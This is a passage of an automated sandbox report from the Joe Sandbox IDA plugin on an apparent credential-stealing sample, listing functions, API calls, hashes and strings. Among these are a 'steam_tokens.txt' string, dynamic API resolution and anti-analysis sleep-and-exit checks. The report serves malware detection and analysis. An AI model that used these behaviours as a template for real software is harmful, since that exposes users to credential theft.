Part of subcall function 6C1E5B50: EnterCriticalSection.KERNEL32(6C24F688,?,?,?,6C1E56EE,?,00000001), ref: 6C1E5B90
Part of subcall function 6C1E5B50: LeaveCriticalSection.KERNEL32(6C24F688,?,?,?,6C1E56EE,?,00000001), ref: 6C1E5BD8
Part of subcall function 6C1E5B50: GetTickCount64.KERNEL32(?,?,?,6C1E56EE,?,00000001), ref: 6C1E5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C1C30BE

Part of subcall function 6C1C30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C1C3127
Part of subcall function 6C1C30F0: __aulldiv.LIBCMT ref: 6C1C3140

Part of subcall function 6C1FAB2A: __onexit.LIBCMT ref: 6C1FAB30

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: c7712ae764913ca451a053cfc36008aa08fc4fc46f2a5fef36abe293c7711f43
Instruction ID: 28e34a02894107e66b6c44f7ab614d8b94fd47eb7d52f93db6d8038dd1dbf178
Opcode Fuzzy Hash: c7712ae764913ca451a053cfc36008aa08fc4fc46f2a5fef36abe293c7711f43
Instruction Fuzzy Hash: 1EF0D622E2074897CB10FF34D8452E7B3B0AFAB21CF509319EC6863591FB2061D9C386

Function 00407610 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00407310: memset.MSVCRT(?,00000000,000003FF,?,0040762B,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407354
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492

task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: HeapProcessmemsettask
String ID: :
API String ID: 2975764430-3653984579
Opcode ID: f6f97187ff320098b1ee5d80db1305ab38950e625d8bdd35c4946a325c88a42b
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: f6f97187ff320098b1ee5d80db1305ab38950e625d8bdd35c4946a325c88a42b
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00413070 Relevance: 3.1, APIs: 2, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT(00000000,?,?), ref: 00413098
strtok_s.MSVCRT(00000000,?,?,00420753,00420743), ref: 004131E1

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024A64F8,?,004210DC,?,00000000), ref: 0041A1FB

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: strtok_s$lstrlen
String ID:
API String ID: 3452872936-0
Opcode ID: 74c2f0421cc1b6554e966d90acdc48de0050edb133c9c5499aa201bdf71f5c31
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: 74c2f0421cc1b6554e966d90acdc48de0050edb133c9c5499aa201bdf71f5c31
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 00416490 Relevance: 3.1, APIs: 2, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,024ACDA0,?,004164A0), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,024AC258,?,004164A0), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,024AC1C8,?,004164A0), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,024AC150,?,004164A0), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,024AC1B0,?,004164A0), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,024A64D8,?,004164A0), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,024A4528,?,004164A0), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,024A47A8,?,004164A0), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,024AC0A8,?,004164A0), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,024AC1E0,?,004164A0), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,024AC0C0,?,004164A0), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,024AC1F8,?,004164A0), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,024A4828,?,004164A0), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,024AC240,?,004164A0), ref: 004193EE

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

Sleep.KERNEL32(00001770), ref: 004165A4
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$Alloc__aulldiv$CurrentSleeplstrlen
String ID:
API String ID: 458369810-0
Opcode ID: b0b9960d20af4d68d915563efb49f39e3c975c1103b7c7d82c9cd59156a88510
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: b0b9960d20af4d68d915563efb49f39e3c975c1103b7c7d82c9cd59156a88510
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00414BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024A64F8,?,004210DC,?,00000000), ref: 0041A1FB

lstrlenA.KERNEL32(00000000,00000000,00420AB3,?,?,?,?,?,?,00415BEB,?), ref: 00414C0A

Strings

steam_tokens.txt, xrefs: 00414C1F

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen
String ID: steam_tokens.txt
API String ID: 1659193697-401951677
Opcode ID: d19869e9ee21e98ce74e6ba28bdc72e146db7fe72b8a7f6212176cc5f604e5af
Instruction ID: 43ba9c4e7b772c09295c3d1ddd3f4580462a4fb142283e9dc1187fbec7936fd0
Opcode Fuzzy Hash: d19869e9ee21e98ce74e6ba28bdc72e146db7fe72b8a7f6212176cc5f604e5af
Instruction Fuzzy Hash: 48F01271D1110876CB04F7B2EC579ED733CAE54358F90426EF41662092EF78665886AB

Function 00401110 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Process$CurrentExit
String ID:
API String ID: 2333725396-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 0040B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT(?,00000000,00000040), ref: 00409EAE

lstrlenA.KERNEL32(00000000), ref: 0040B820
lstrlenA.KERNEL32(00000000), ref: 0040B834

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen$memcmpmemset
String ID:
API String ID: 3317826854-0
Opcode ID: 57b946637f6b0d3fc9b9e605637c64e562fdcdea12cd199cb348b86b6e6bd926
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: 57b946637f6b0d3fc9b9e605637c64e562fdcdea12cd199cb348b86b6e6bd926
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 0040A1B0 Relevance: 2.9, APIs: 2, Instructions: 360stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

lstrlenA.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT(?,00000000,00000040), ref: 00409EAE

lstrlenA.KERNEL32(00000000,00000000), ref: 0040A32D

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen$memcmpmemset
String ID:
API String ID: 3317826854-0
Opcode ID: 54ccf06c2f84e2484ed4416688423d44f762688d14018cb429c06268bb8d3c87
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: 54ccf06c2f84e2484ed4416688423d44f762688d14018cb429c06268bb8d3c87
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

lstrlenA.KERNEL32(00000000), ref: 0040AFEA
lstrlenA.KERNEL32(00000000), ref: 0040AFFE

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: 7a32fd16661a00ecb6da22790568fba7b8ce1ec3cd347d4ff2ab8961cf702281
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: 7a32fd16661a00ecb6da22790568fba7b8ce1ec3cd347d4ff2ab8961cf702281
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040D5C0 Relevance: 2.7, APIs: 2, Instructions: 221stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

lstrlenA.KERNEL32(00000000), ref: 0040D7DF
lstrlenA.KERNEL32(00000000), ref: 0040D7F3

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: e1e31f3c7bf6a40d42de38d9514d518e336aa20a0ca70a830722187b105dc452
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: e1e31f3c7bf6a40d42de38d9514d518e336aa20a0ca70a830722187b105dc452
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

lstrlenA.KERNEL32(00000000), ref: 0040B2AE
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

